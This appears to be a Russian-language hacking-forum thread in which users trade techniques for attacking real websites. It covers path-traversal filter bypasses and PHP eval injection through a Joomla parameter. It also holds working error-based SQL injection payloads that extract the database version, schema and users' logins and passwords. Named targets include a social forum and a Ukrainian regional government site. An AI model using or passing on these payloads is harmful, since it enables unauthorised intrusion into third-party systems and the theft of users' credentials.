Добрый вечер. Нашел уязвимость подобную этой https://forum.antichat.ru/showthread.php?t=10915 В общем проблема такая. Просмотреть содержимое файлов я могу, просмотреть путь я смог, но не смог сделать, чтобы выводился список файлов в директории, может прав нет, может я чтото не так делаю? посоветуйте способы?
если бага такая же, то тебе нужно просто засунуть туда пхп код соответствующий (список файлов в папке или залить свой кодес ). лично я не вижу в этой особой проблемы.
можно ли обойти такой фильтр Code: if (strpos($_GET['f'], '..') === false) { $a = dirname(__FILE__); echo file_get_contents( $a . $_GET['f']); } я так понимаю нужен такой символ между точками который не должен нарушать сработку конструкции .X./ в nix системах тогда он пройдет через фильтр либо замена точек на что то другое еквивалентное им
Не получилось через opendir. Пример как вставлял: &cmd=opendir("../");&highlight='.eval($_GET[cmd]).' ничего не выводит..
версию вывести возможно тут? _http://vkontakte.dj/index.php?option=com_fireboard&Itemid=41&catid=9&id=3378&func=view'
я уже пробовал ети методы они не помогают но в описании функции file_get_contents есть интересное цитата с http://php.su/functions/?f=file_get_contents&choice=info из етого следует что функция file_get_contents в принципе должна понимать урл кодированую строку пути но по факту что то не работает
Говорю по факту, что есть, на данный момент: 1) самописный движок 2) ссылка типа index.php?id=hats 3) MySQL запрос не генерируется 4) id используется в условии if'a ( if( $_GET['id'] == "hats" ) {…} ) теперь вопрос, можно ли скормить параметру id спецсимвол ' (одинарную ковычку) и завершить if со своим последующим кодом, поставя знак комментария после своего кода, чтобы последующий код не мешал Например: 1) .../index.php?id=hats'] == 'hats' && function(){ мой_код; return true;} ) { // 2) тоесть, чтобы код изменился с if( $_GET['id'] == 'hats' ) { на if( 'hats' == 'hats' && function(){ мой_код; return true;} ) { // == "hats" ) { P.S. извините, что не тегую, т.к. пишу с мобильного
Жаль, значит придется ждать, когда перелистывание страниц сделают и SQLinj попробовать. Я думал, что мой способ сработает, так как PHP интерпретируемый язык, но оказалось, что нет (не сработает).
Error Number: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' GROUP BY kilop ORDER' at line 56 и дальше идет листинг больщого Select Запроса. первый раз вообще вижу такую шляпу. крутится?
ребят, уязвимость в поле поиска - при подставке кавычки выдаёт - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR `path` LIKE '%vds%' AND `ntitle` LIKE '%'%'' at line 1 как правильно составлять запрос...?
'and(1)='1 TRUE 'and(2)='1 FALSE Режутся пробелы. Можно юзать только беспробельные варианты. Ещё чуток покручу - выложу тут запросы. UPD. 'and(extractvalue(1,concat(0x3a,(select(@@version)))))=' XPATH syntax error: ':5.1.49-3' 'and(extractvalue(1,concat(0x3a,(select(database())))))=' XPATH syntax error: ':lib_bd'
Не надо посимвольного перебора. Я ж тебе докрутил до Error-Based. Теперь только через ошибку. Да тебе и этого выше крыши.
Да, я понял, спасибо, просто в "слепых" ещё слабо разбираюсь... Короче по такой схеме крутить я так понял: http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+limit+0,1)))-- http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+0,1)))-- http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+3,1)))-- http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+4,1)))-- http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,login,password)+from+users1+limit+0,1)))-- или как тут
Да, кстати, а кто подскажет что это такое...?) Вроде как не слепая... С такой ещё не стыкался... http://www.rada-poltava.gov.ua/news/1'00000000'/